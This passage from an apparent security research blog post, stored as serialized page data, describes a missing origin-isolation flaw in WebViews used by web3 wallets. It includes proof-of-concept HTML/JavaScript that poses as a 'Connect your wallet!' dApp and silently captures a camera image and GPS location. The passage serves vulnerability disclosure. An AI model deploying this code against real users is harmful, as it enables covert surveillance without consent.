arises.",{"type":21,"tag":114,"props":159198,"children":159200},{"id":159199},"real-world-exploitation",[159201],{"type":26,"value":159202},"Real world exploitation",{"type":21,"tag":22,"props":159204,"children":159205},{},[159206],{"type":26,"value":159207},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":21,"tag":22,"props":159209,"children":159210},{},[159211],{"type":26,"value":159212},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":21,"tag":22,"props":159214,"children":159215},{},[159216,159218,159225],{"type":26,"value":159217},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":21,"tag":29,"props":159219,"children":159222},{"href":159220,"rel":159221},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[33],[159223],{"type":26,"value":159224},"Justson",{"type":26,"value":159226},", used by a popular wallet in the Stellar ecosystem.",{"type":21,"tag":21591,"props":159228,"children":159229},{"id":42196},[159230],{"type":26,"value":37523},{"type":21,"tag":22,"props":159232,"children":159233},{},[159234],{"type":26,"value":159235},"In order to exploit this issue, we assume the following preconditions:",{"type":21,"tag":126,"props":159237,"children":159238},{},[159239,159244,159249],{"type":21,"tag":91,"props":159240,"children":159241},{},[159242],{"type":26,"value":159243},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":21,"tag":91,"props":159245,"children":159246},{},[159247],{"type":26,"value":159248},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":21,"tag":91,"props":159250,"children":159251},{},[159252],{"type":26,"value":159253},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":21,"tag":143,"props":159255,"children":159257},{"className":52312,"code":159256,"language":35076,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[159258],{"type":21,"tag":78,"props":159259,"children":159260},{"__ignoreMap":7},[159261,159281,159296,159312,159342,159365,159380,159395,159427,159473,159509,159537,159552,159598,159644,159652,159720,159748,159763,159771,159778,159798,159858,159899,159928,159969,159976,160005,160043,160080,160087,160094,160127,160148,160155,160217,160273,160309,160355,160363,160370,160413,160446,160571,160604,160611,160618,160625,160637,160652,160667],{"type":21,"tag":153,"props":159262,"children":159263},{"class":155,"line":156},[159264,159268,159272,159277],{"type":21,"tag":153,"props":159265,"children":159266},{"style":35069},[159267],{"type":26,"value":36919},{"type":21,"tag":153,"props":159269,"children":159270},{"style":170},[159271],{"type":26,"value":36924},{"type":21,"tag":153,"props":159273,"children":159274},{"style":192},[159275],{"type":26,"value":159276}," html",{"type":21,"tag":153,"props":159278,"children":159279},{"style":35069},[159280],{"type":26,"value":4308},{"type":21,"tag":153,"props":159282,"children":159283},{"class":155,"line":166},[159284,159288,159292],{"type":21,"tag":153,"props":159285,"children":159286},{"style":35069},[159287],{"type":26,"value":8537},{"type":21,"tag":153,"props":159289,"children":159290},{"style":170},[159291],{"type":26,"value":35076},{"type":21,"tag":153,"props":159293,"children":159294},{"style":35069},[159295],{"type":26,"value":4308},{"type":21,"tag":153,"props":159297,"children":159298},{"class":155,"line":225},[159299,159303,159308],{"type":21,"tag":153,"props":159300,"children":159301},{"style":35069},[159302],{"type":26,"value":8537},{"type":21,"tag":153,"props":159304,"children":159305},{"style":170},[159306],{"type":26,"value":159307},"head",{"type":21,"tag":153,"props":159309,"children":159310},{"style":35069},[159311],{"type":26,"value":4308},{"type":21,"tag":153,"props":159313,"children":159314},{"class":155,"line":239},[159315,159319,159324,159329,159333,159338],{"type":21,"tag":153,"props":159316,"children":159317},{"style":35069},[159318],{"type":26,"value":35139},{"type":21,"tag":153,"props":159320,"children":159321},{"style":170},[159322],{"type":26,"value":159323},"meta",{"type":21,"tag":153,"props":159325,"children":159326},{"style":192},[159327],{"type":26,"value":159328}," charset",{"type":21,"tag":153,"props":159330,"children":159331},{"style":160},[159332],{"type":26,"value":2367},{"type":21,"tag":153,"props":159334,"children":159335},{"style":671},[159336],{"type":26,"value":159337},"\"utf-8\"",{"type":21,"tag":153,"props":159339,"children":159340},{"style":35069},[159341],{"type":26,"value":4308},{"type":21,"tag":153,"props":159343,"children":159344},{"class":155,"line":382},[159345,159349,159353,159357,159361],{"type":21,"tag":153,"props":159346,"children":159347},{"style":35069},[159348],{"type":26,"value":35139},{"type":21,"tag":153,"props":159350,"children":159351},{"style":170},[159352],{"type":26,"value":36997},{"type":21,"tag":153,"props":159354,"children":159355},{"style":35069},[159356],{"type":26,"value":52356},{"type":21,"tag":153,"props":159358,"children":159359},{"style":170},[159360],{"type":26,"value":36997},{"type":21,"tag":153,"props":159362,"children":159363},{"style":35069},[159364],{"type":26,"value":4308},{"type":21,"tag":153,"props":159366,"children":159367},{"class":155,"line":501},[159368,159372,159376],{"type":21,"tag":153,"props":159369,"children":159370},{"style":35069},[159371],{"type":26,"value":35123},{"type":21,"tag":153,"props":159373,"children":159374},{"style":170},[159375],{"type":26,"value":159307},{"type":21,"tag":153,"props":159377,"children":159378},{"style":35069},[159379],{"type":26,"value":4308},{"type":21,"tag":153,"props":159381,"children":159382},{"class":155,"line":533},[159383,159387,159391],{"type":21,"tag":153,"props":159384,"children":159385},{"style":35069},[159386],{"type":26,"value":8537},{"type":21,"tag":153,"props":159388,"children":159389},{"style":170},[159390],{"type":26,"value":35093},{"type":21,"tag":153,"props":159392,"children":159393},{"style":35069},[159394],{"type":26,"value":4308},{"type":21,"tag":153,"props":159396,"children":159397},{"class":155,"line":542},[159398,159402,159406,159410,159415,159419,159423],{"type":21,"tag":153,"props":159399,"children":159400},{"style":35069},[159401],{"type":26,"value":35139},{"type":21,"tag":153,"props":159403,"children":159404},{"style":170},[159405],{"type":26,"value":66},{"type":21,"tag":153,"props":159407,"children":159408},{"style":35069},[159409],{"type":26,"value":13182},{"type":21,"tag":153,"props":159411,"children":159412},{"style":160},[159413],{"type":26,"value":159414},"Smile dApp :)",{"type":21,"tag":153,"props":159416,"children":159417},{"style":35069},[159418],{"type":26,"value":35123},{"type":21,"tag":153,"props":159420,"children":159421},{"style":170},[159422],{"type":26,"value":66},{"type":21,"tag":153,"props":159424,"children":159425},{"style":35069},[159426],{"type":26,"value":4308},{"type":21,"tag":153,"props":159428,"children":159429},{"class":155,"line":762},[159430,159434,159439,159443,159447,159452,159456,159461,159465,159469],{"type":21,"tag":153,"props":159431,"children":159432},{"style":35069},[159433],{"type":26,"value":35139},{"type":21,"tag":153,"props":159435,"children":159436},{"style":170},[159437],{"type":26,"value":159438},"button",{"type":21,"tag":153,"props":159440,"children":159441},{"style":192},[159442],{"type":26,"value":35149},{"type":21,"tag":153,"props":159444,"children":159445},{"style":160},[159446],{"type":26,"value":2367},{"type":21,"tag":153,"props":159448,"children":159449},{"style":671},[159450],{"type":26,"value":159451},"\"connect\"",{"type":21,"tag":153,"props":159453,"children":159454},{"style":35069},[159455],{"type":26,"value":13182},{"type":21,"tag":153,"props":159457,"children":159458},{"style":160},[159459],{"type":26,"value":159460},"Connect your wallet!",{"type":21,"tag":153,"props":159462,"children":159463},{"style":35069},[159464],{"type":26,"value":35123},{"type":21,"tag":153,"props":159466,"children":159467},{"style":170},[159468],{"type":26,"value":159438},{"type":21,"tag":153,"props":159470,"children":159471},{"style":35069},[159472],{"type":26,"value":4308},{"type":21,"tag":153,"props":159474,"children":159475},{"class":155,"line":776},[159476,159480,159484,159488,159492,159497,159501,159505],{"type":21,"tag":153,"props":159477,"children":159478},{"style":35069},[159479],{"type":26,"value":35139},{"type":21,"tag":153,"props":159481,"children":159482},{"style":170},[159483],{"type":26,"value":143},{"type":21,"tag":153,"props":159485,"children":159486},{"style":192},[159487],{"type":26,"value":35149},{"type":21,"tag":153,"props":159489,"children":159490},{"style":160},[159491],{"type":26,"value":2367},{"type":21,"tag":153,"props":159493,"children":159494},{"style":671},[159495],{"type":26,"value":159496},"\"gps\"",{"type":21,"tag":153,"props":159498,"children":159499},{"style":35069},[159500],{"type":26,"value":52356},{"type":21,"tag":153,"props":159502,"children":159503},{"style":170},[159504],{"type":26,"value":143},{"type":21,"tag":153,"props":159506,"children":159507},{"style":35069},[159508],{"type":26,"value":4308},{"type":21,"tag":153,"props":159510,"children":159511},{"class":155,"line":795},[159512,159516,159520,159524,159528,159533],{"type":21,"tag":153,"props":159513,"children":159514},{"style":35069},[159515],{"type":26,"value":35139},{"type":21,"tag":153,"props":159517,"children":159518},{"style":170},[159519],{"type":26,"value":3644},{"type":21,"tag":153,"props":159521,"children":159522},{"style":192},[159523],{"type":26,"value":35149},{"type":21,"tag":153,"props":159525,"children":159526},{"style":160},[159527],{"type":26,"value":2367},{"type":21,"tag":153,"props":159529,"children":159530},{"style":671},[159531],{"type":26,"value":159532},"\"pic\"",{"type":21,"tag":153,"props":159534,"children":159535},{"style":35069},[159536],{"type":26,"value":4308},{"type":21,"tag":153,"props":159538,"children":159539},{"class":155,"line":808},[159540,159544,159548],{"type":21,"tag":153,"props":159541,"children":159542},{"style":35069},[159543],{"type":26,"value":35139},{"type":21,"tag":153,"props":159545,"children":159546},{"style":170},[159547],{"type":26,"value":35109},{"type":21,"tag":153,"props":159549,"children":159550},{"style":35069},[159551],{"type":26,"value":4308},{"type":21,"tag":153,"props":159553,"children":159554},{"class":155,"line":820},[159555,159560,159564,159569,159573,159578,159582,159586,159590,159594],{"type":21,"tag":153,"props":159556,"children":159557},{"style":192},[159558],{"type":26,"value":159559},"        window",{"type":21,"tag":153,"props":159561,"children":159562},{"style":198},[159563],{"type":26,"value":355},{"type":21,"tag":153,"props":159565,"children":159566},{"style":181},[159567],{"type":26,"value":159568},"addEventListener",{"type":21,"tag":153,"props":159570,"children":159571},{"style":198},[159572],{"type":26,"value":189},{"type":21,"tag":153,"props":159574,"children":159575},{"style":671},[159576],{"type":26,"value":159577},"'unhandledrejection'",{"type":21,"tag":153,"props":159579,"children":159580},{"style":198},[159581],{"type":26,"value":1670},{"type":21,"tag":153,"props":159583,"children":159584},{"style":170},[159585],{"type":26,"value":34072},{"type":21,"tag":153,"props":159587,"children":159588},{"style":198},[159589],{"type":26,"value":5820},{"type":21,"tag":153,"props":159591,"children":159592},{"style":192},[159593],{"type":26,"value":84425},{"type":21,"tag":153,"props":159595,"children":159596},{"style":198},[159597],{"type":26,"value":2659},{"type":21,"tag":153,"props":159599,"children":159600},{"class":155,"line":842},[159601,159606,159610,159615,159619,159623,159627,159632,159636,159640],{"type":21,"tag":153,"props":159602,"children":159603},{"style":181},[159604],{"type":26,"value":159605},"            alert",{"type":21,"tag":153,"props":159607,"children":159608},{"style":198},[159609],{"type":26,"value":189},{"type":21,"tag":153,"props":159611,"children":159612},{"style":671},[159613],{"type":26,"value":159614},"`Unhandled Promise Rejection: ",{"type":21,"tag":153,"props":159616,"children":159617},{"style":170},[159618],{"type":26,"value":36802},{"type":21,"tag":153,"props":159620,"children":159621},{"style":192},[159622],{"type":26,"value":84425},{"type":21,"tag":153,"props":159624,"children":159625},{"style":198},[159626],{"type":26,"value":355},{"type":21,"tag":153,"props":159628,"children":159629},{"style":192},[159630],{"type":26,"value":159631},"reason",{"type":21,"tag":153,"props":159633,"children":159634},{"style":170},[159635],{"type":26,"value":36834},{"type":21,"tag":153,"props":159637,"children":159638},{"style":671},[159639],{"type":26,"value":13102},{"type":21,"tag":153,"props":159641,"children":159642},{"style":198},[159643],{"type":26,"value":530},{"type":21,"tag":153,"props":159645,"children":159646},{"class":155,"line":3204},[159647],{"type":21,"tag":153,"props":159648,"children":159649},{"style":198},[159650],{"type":26,"value":159651},"        });\n",{"type":21,"tag":153,"props":159653,"children":159654},{"class":155,"line":3230},[159655,159659,159663,159667,159671,159675,159679,159683,159687,159691,159695,159699,159703,159708,159712,159716],{"type":21,"tag":153,"props":159656,"children":159657},{"style":192},[159658],{"type":26,"value":159559},{"type":21,"tag":153,"props":159660,"children":159661},{"style":198},[159662],{"type":26,"value":355},{"type":21,"tag":153,"props":159664,"children":159665},{"style":181},[159666],{"type":26,"value":35382},{"type":21,"tag":153,"props":159668,"children":159669},{"style":198},[159670],{"type":26,"value":35605},{"type":21,"tag":153,"props":159672,"children":159673},{"style":170},[159674],{"type":26,"value":34072},{"type":21,"tag":153,"props":159676,"children":159677},{"style":198},[159678],{"type":26,"value":5820},{"type":21,"tag":153,"props":159680,"children":159681},{"style":192},[159682],{"type":26,"value":60238},{"type":21,"tag":153,"props":159684,"children":159685},{"style":198},[159686],{"type":26,"value":1670},{"type":21,"tag":153,"props":159688,"children":159689},{"style":192},[159690],{"type":26,"value":72672},{"type":21,"tag":153,"props":159692,"children":159693},{"style":198},[159694],{"type":26,"value":1670},{"type":21,"tag":153,"props":159696,"children":159697},{"style":192},[159698],{"type":26,"value":155},{"type":21,"tag":153,"props":159700,"children":159701},{"style":198},[159702],{"type":26,"value":1670},{"type":21,"tag":153,"props":159704,"children":159705},{"style":192},[159706],{"type":26,"value":159707},"col",{"type":21,"tag":153,"props":159709,"children":159710},{"style":198},[159711],{"type":26,"value":1670},{"type":21,"tag":153,"props":159713,"children":159714},{"style":192},[159715],{"type":26,"value":17566},{"type":21,"tag":153,"props":159717,"children":159718},{"style":198},[159719],{"type":26,"value":2659},{"type":21,"tag":153,"props":159721,"children":159722},{"class":155,"line":3239},[159723,159727,159731,159736,159740,159744],{"type":21,"tag":153,"props":159724,"children":159725},{"style":181},[159726],{"type":26,"value":159605},{"type":21,"tag":153,"props":159728,"children":159729},{"style":198},[159730],{"type":26,"value":189},{"type":21,"tag":153,"props":159732,"children":159733},{"style":671},[159734],{"type":26,"value":159735},"'onerror: '",{"type":21,"tag":153,"props":159737,"children":159738},{"style":198},[159739],{"type":26,"value":37390},{"type":21,"tag":153,"props":159741,"children":159742},{"style":192},[159743],{"type":26,"value":60238},{"type":21,"tag":153,"props":159745,"children":159746},{"style":198},[159747],{"type":26,"value":530},{"type":21,"tag":153,"props":159749,"children":159750},{"class":155,"line":3253},[159751,159755,159759],{"type":21,"tag":153,"props":159752,"children":159753},{"style":1751},[159754],{"type":26,"value":81373},{"type":21,"tag":153,"props":159756,"children":159757},{"style":170},[159758],{"type":26,"value":11782},{"type":21,"tag":153,"props":159760,"children":159761},{"style":198},[159762],{"type":26,"value":1759},{"type":21,"tag":153,"props":159764,"children":159765},{"class":155,"line":3301},[159766],{"type":21,"tag":153,"props":159767,"children":159768},{"style":198},[159769],{"type":26,"value":159770},"        };\n",{"type":21,"tag":153,"props":159772,"children":159773},{"class":155,"line":3346},[159774],{"type":21,"tag":153,"props":159775,"children":159776},{"emptyLinePlaceholder":16},[159777],{"type":26,"value":759},{"type":21,"tag":153,"props":159779,"children":159780},{"class":155,"line":3355},[159781,159786,159790,159794],{"type":21,"tag":153,"props":159782,"children":159783},{"style":170},[159784],{"type":26,"value":159785},"        async",{"type":21,"tag":153,"props":159787,"children":159788},{"style":170},[159789],{"type":26,"value":40907},{"type":21,"tag":153,"props":159791,"children":159792},{"style":181},[159793],{"type":26,"value":93077},{"type":21,"tag":153,"props":159795,"children":159796},{"style":198},[159797],{"type":26,"value":18433},{"type":21,"tag":153,"props":159799,"children":159800},{"class":155,"line":3364},[159801,159805,159810,159814,159818,159823,159827,159832,159836,159841,159845,159850,159854],{"type":21,"tag":153,"props":159802,"children":159803},{"style":170},[159804],{"type":26,"value":153331},{"type":21,"tag":153,"props":159806,"children":159807},{"style":192},[159808],{"type":26,"value":159809}," stream",{"type":21,"tag":153,"props":159811,"children":159812},{"style":198},[159813],{"type":26,"value":35605},{"type":21,"tag":153,"props":159815,"children":159816},{"style":1751},[159817],{"type":26,"value":1754},{"type":21,"tag":153,"props":159819,"children":159820},{"style":192},[159821],{"type":26,"value":159822}," navigator",{"type":21,"tag":153,"props":159824,"children":159825},{"style":198},[159826],{"type":26,"value":355},{"type":21,"tag":153,"props":159828,"children":159829},{"style":192},[159830],{"type":26,"value":159831},"mediaDevices",{"type":21,"tag":153,"props":159833,"children":159834},{"style":198},[159835],{"type":26,"value":355},{"type":21,"tag":153,"props":159837,"children":159838},{"style":181},[159839],{"type":26,"value":159840},"getUserMedia",{"type":21,"tag":153,"props":159842,"children":159843},{"style":198},[159844],{"type":26,"value":34193},{"type":21,"tag":153,"props":159846,"children":159847},{"style":192},[159848],{"type":26,"value":159849},"video:",{"type":21,"tag":153,"props":159851,"children":159852},{"style":170},[159853],{"type":26,"value":15187},{"type":21,"tag":153,"props":159855,"children":159856},{"style":198},[159857],{"type":26,"value":41527},{"type":21,"tag":153,"props":159859,"children":159860},{"class":155,"line":3376},[159861,159865,159870,159874,159878,159882,159886,159890,159895],{"type":21,"tag":153,"props":159862,"children":159863},{"style":170},[159864],{"type":26,"value":153331},{"type":21,"tag":153,"props":159866,"children":159867},{"style":192},[159868],{"type":26,"value":159869}," video",{"type":21,"tag":153,"props":159871,"children":159872},{"style":198},[159873],{"type":26,"value":35605},{"type":21,"tag":153,"props":159875,"children":159876},{"style":192},[159877],{"type":26,"value":35401},{"type":21,"tag":153,"props":159879,"children":159880},{"style":198},[159881],{"type":26,"value":355},{"type":21,"tag":153,"props":159883,"children":159884},{"style":181},[159885],{"type":26,"value":39414},{"type":21,"tag":153,"props":159887,"children":159888},{"style":198},[159889],{"type":26,"value":189},{"type":21,"tag":153,"props":159891,"children":159892},{"style":671},[159893],{"type":26,"value":159894},"\"video\"",{"type":21,"tag":153,"props":159896,"children":159897},{"style":198},[159898],{"type":26,"value":530},{"type":21,"tag":153,"props":159900,"children":159901},{"class":155,"line":3393},[159902,159907,159911,159916,159920,159924],{"type":21,"tag":153,"props":159903,"children":159904},{"style":192},[159905],{"type":26,"value":159906},"            video",{"type":21,"tag":153,"props":159908,"children":159909},{"style":198},[159910],{"type":26,"value":355},{"type":21,"tag":153,"props":159912,"children":159913},{"style":192},[159914],{"type":26,"value":159915},"srcObject",{"type":21,"tag":153,"props":159917,"children":159918},{"style":198},[159919],{"type":26,"value":35605},{"type":21,"tag":153,"props":159921,"children":159922},{"style":192},[159923],{"type":26,"value":38954},{"type":21,"tag":153,"props":159925,"children":159926},{"style":198},[159927],{"type":26,"value":1759},{"type":21,"tag":153,"props":159929,"children":159930},{"class":155,"line":3405},[159931,159935,159940,159944,159948,159952,159956,159960,159965],{"type":21,"tag":153,"props":159932,"children":159933},{"style":170},[159934],{"type":26,"value":153331},{"type":21,"tag":153,"props":159936,"children":159937},{"style":192},[159938],{"type":26,"value":159939}," canvas",{"type":21,"tag":153,"props":159941,"children":159942},{"style":198},[159943],{"type":26,"value":35605},{"type":21,"tag":153,"props":159945,"children":159946},{"style":192},[159947],{"type":26,"value":35401},{"type":21,"tag":153,"props":159949,"children":159950},{"style":198},[159951],{"type":26,"value":355},{"type":21,"tag":153,"props":159953,"children":159954},{"style":181},[159955],{"type":26,"value":39414},{"type":21,"tag":153,"props":159957,"children":159958},{"style":198},[159959],{"type":26,"value":189},{"type":21,"tag":153,"props":159961,"children":159962},{"style":671},[159963],{"type":26,"value":159964},"\"canvas\"",{"type":21,"tag":153,"props":159966,"children":159967},{"style":198},[159968],{"type":26,"value":530},{"type":21,"tag":153,"props":159970,"children":159971},{"class":155,"line":3427},[159972],{"type":21,"tag":153,"props":159973,"children":159974},{"emptyLinePlaceholder":16},[159975],{"type":26,"value":759},{"type":21,"tag":153,"props":159977,"children":159978},{"class":155,"line":3448},[159979,159983,159987,159992,159997,160001],{"type":21,"tag":153,"props":159980,"children":159981},{"style":192},[159982],{"type":26,"value":159906},{"type":21,"tag":153,"props":159984,"children":159985},{"style":198},[159986],{"type":26,"value":355},{"type":21,"tag":153,"props":159988,"children":159989},{"style":181},[159990],{"type":26,"value":159991},"onloadedmetadata",{"type":21,"tag":153,"props":159993,"children":159994},{"style":198},[159995],{"type":26,"value":159996}," = () ",{"type":21,"tag":153,"props":159998,"children":159999},{"style":170},[160000],{"type":26,"value":17524},{"type":21,"tag":153,"props":160002,"children":160003},{"style":198},[160004],{"type":26,"value":236},{"type":21,"tag":153,"props":160006,"children":160007},{"class":155,"line":3456},[160008,160013,160017,160022,160026,160030,160034,160039],{"type":21,"tag":153,"props":160009,"children":160010},{"style":192},[160011],{"type":26,"value":160012},"                canvas",{"type":21,"tag":153,"props":160014,"children":160015},{"style":198},[160016],{"type":26,"value":355},{"type":21,"tag":153,"props":160018,"children":160019},{"style":192},[160020],{"type":26,"value":160021},"width",{"type":21,"tag":153,"props":160023,"children":160024},{"style":198},[160025],{"type":26,"value":35605},{"type":21,"tag":153,"props":160027,"children":160028},{"style":192},[160029],{"type":26,"value":134155},{"type":21,"tag":153,"props":160031,"children":160032},{"style":198},[160033],{"type":26,"value":355},{"type":21,"tag":153,"props":160035,"children":160036},{"style":192},[160037],{"type":26,"value":160038},"videoWidth",{"type":21,"tag":153,"props":160040,"children":160041},{"style":198},[160042],{"type":26,"value":1759},{"type":21,"tag":153,"props":160044,"children":160045},{"class":155,"line":3493},[160046,160050,160054,160059,160063,160067,160071,160076],{"type":21,"tag":153,"props":160047,"children":160048},{"style":192},[160049],{"type":26,"value":160012},{"type":21,"tag":153,"props":160051,"children":160052},{"style":198},[160053],{"type":26,"value":355},{"type":21,"tag":153,"props":160055,"children":160056},{"style":192},[160057],{"type":26,"value":160058},"height",{"type":21,"tag":153,"props":160060,"children":160061},{"style":198},[160062],{"type":26,"value":35605},{"type":21,"tag":153,"props":160064,"children":160065},{"style":192},[160066],{"type":26,"value":134155},{"type":21,"tag":153,"props":160068,"children":160069},{"style":198},[160070],{"type":26,"value":355},{"type":21,"tag":153,"props":160072,"children":160073},{"style":192},[160074],{"type":26,"value":160075},"videoHeight",{"type":21,"tag":153,"props":160077,"children":160078},{"style":198},[160079],{"type":26,"value":1759},{"type":21,"tag":153,"props":160081,"children":160082},{"class":155,"line":3509},[160083],{"type":21,"tag":153,"props":160084,"children":160085},{"style":198},[160086],{"type":26,"value":50364},{"type":21,"tag":153,"props":160088,"children":160089},{"class":155,"line":3517},[160090],{"type":21,"tag":153,"props":160091,"children":160092},{"emptyLinePlaceholder":16},[160093],{"type":26,"value":759},{"type":21,"tag":153,"props":160095,"children":160096},{"class":155,"line":3526},[160097,160102,160106,160111,160115,160119,160123],{"type":21,"tag":153,"props":160098,"children":160099},{"style":192},[160100],{"type":26,"value":160101},"            connect",{"type":21,"tag":153,"props":160103,"children":160104},{"style":198},[160105],{"type":26,"value":355},{"type":21,"tag":153,"props":160107,"children":160108},{"style":181},[160109],{"type":26,"value":160110},"onclick",{"type":21,"tag":153,"props":160112,"children":160113},{"style":198},[160114],{"type":26,"value":35605},{"type":21,"tag":153,"props":160116,"children":160117},{"style":192},[160118],{"type":26,"value":53745},{"type":21,"tag":153,"props":160120,"children":160121},{"style":170},[160122],{"type":26,"value":30447},{"type":21,"tag":153,"props":160124,"children":160125},{"style":198},[160126],{"type":26,"value":236},{"type":21,"tag":153,"props":160128,"children":160129},{"class":155,"line":3607},[160130,160135,160139,160144],{"type":21,"tag":153,"props":160131,"children":160132},{"style":192},[160133],{"type":26,"value":160134},"                video",{"type":21,"tag":153,"props":160136,"children":160137},{"style":198},[160138],{"type":26,"value":355},{"type":21,"tag":153,"props":160140,"children":160141},{"style":181},[160142],{"type":26,"value":160143},"play",{"type":21,"tag":153,"props":160145,"children":160146},{"style":198},[160147],{"type":26,"value":839},{"type":21,"tag":153,"props":160149,"children":160150},{"class":155,"line":3615},[160151],{"type":21,"tag":153,"props":160152,"children":160153},{"emptyLinePlaceholder":16},[160154],{"type":26,"value":759},{"type":21,"tag":153,"props":160156,"children":160157},{"class":155,"line":3629},[160158,160162,160166,160171,160175,160180,160184,160189,160193,160197,160201,160205,160209,160213],{"type":21,"tag":153,"props":160159,"children":160160},{"style":192},[160161],{"type":26,"value":160012},{"type":21,"tag":153,"props":160163,"children":160164},{"style":198},[160165],{"type":26,"value":355},{"type":21,"tag":153,"props":160167,"children":160168},{"style":181},[160169],{"type":26,"value":160170},"getContext",{"type":21,"tag":153,"props":160172,"children":160173},{"style":198},[160174],{"type":26,"value":189},{"type":21,"tag":153,"props":160176,"children":160177},{"style":671},[160178],{"type":26,"value":160179},"\"2d\"",{"type":21,"tag":153,"props":160181,"children":160182},{"style":198},[160183],{"type":26,"value":23436},{"type":21,"tag":153,"props":160185,"children":160186},{"style":181},[160187],{"type":26,"value":160188},"drawImage",{"type":21,"tag":153,"props":160190,"children":160191},{"style":198},[160192],{"type":26,"value":189},{"type":21,"tag":153,"props":160194,"children":160195},{"style":192},[160196],{"type":26,"value":134155},{"type":21,"tag":153,"props":160198,"children":160199},{"style":198},[160200],{"type":26,"value":1670},{"type":21,"tag":153,"props":160202,"children":160203},{"style":300},[160204],{"type":26,"value":2996},{"type":21,"tag":153,"props":160206,"children":160207},{"style":198},[160208],{"type":26,"value":1670},{"type":21,"tag":153,"props":160210,"children":160211},{"style":300},[160212],{"type":26,"value":2996},{"type":21,"tag":153,"props":160214,"children":160215},{"style":198},[160216],{"type":26,"value":530},{"type":21,"tag":153,"props":160218,"children":160219},{"class":155,"line":26297},[160220,160225,160229,160234,160238,160243,160247,160251,160255,160260,160264,160269],{"type":21,"tag":153,"props":160221,"children":160222},{"style":192},[160223],{"type":26,"value":160224},"                stream",{"type":21,"tag":153,"props":160226,"children":160227},{"style":198},[160228],{"type":26,"value":355},{"type":21,"tag":153,"props":160230,"children":160231},{"style":181},[160232],{"type":26,"value":160233},"getTracks",{"type":21,"tag":153,"props":160235,"children":160236},{"style":198},[160237],{"type":26,"value":32862},{"type":21,"tag":153,"props":160239,"children":160240},{"style":181},[160241],{"type":26,"value":160242},"forEach",{"type":21,"tag":153,"props":160244,"children":160245},{"style":198},[160246],{"type":26,"value":189},{"type":21,"tag":153,"props":160248,"children":160249},{"style":192},[160250],{"type":26,"value":24422},{"type":21,"tag":153,"props":160252,"children":160253},{"style":170},[160254],{"type":26,"value":30447},{"type":21,"tag":153,"props":160256,"children":160257},{"style":192},[160258],{"type":26,"value":160259}," t",{"type":21,"tag":153,"props":160261,"children":160262},{"style":198},[160263],{"type":26,"value":355},{"type":21,"tag":153,"props":160265,"children":160266},{"style":181},[160267],{"type":26,"value":160268},"stop",{"type":21,"tag":153,"props":160270,"children":160271},{"style":198},[160272],{"type":26,"value":379},{"type":21,"tag":153,"props":160274,"children":160275},{"class":155,"line":26330},[160276,160280,160284,160289,160293,160297,160301,160305],{"type":21,"tag":153,"props":160277,"children":160278},{"style":192},[160279],{"type":26,"value":160012},{"type":21,"tag":153,"props":160281,"children":160282},{"style":198},[160283],{"type":26,"value":355},{"type":21,"tag":153,"props":160285,"children":160286},{"style":181},[160287],{"type":26,"value":160288},"toBlob",{"type":21,"tag":153,"props":160290,"children":160291},{"style":198},[160292],{"type":26,"value":34218},{"type":21,"tag":153,"props":160294,"children":160295},{"style":192},[160296],{"type":26,"value":35641},{"type":21,"tag":153,"props":160298,"children":160299},{"style":198},[160300],{"type":26,"value":2362},{"type":21,"tag":153,"props":160302,"children":160303},{"style":170},[160304],{"type":26,"value":17524},{"type":21,"tag":153,"props":160306,"children":160307},{"style":198},[160308],{"type":26,"value":236},{"type":21,"tag":153,"props":160310,"children":160311},{"class":155,"line":26338},[160312,160317,160321,160325,160329,160334,160338,160343,160347,160351],{"type":21,"tag":153,"props":160313,"children":160314},{"style":192},[160315],{"type":26,"value":160316},"                    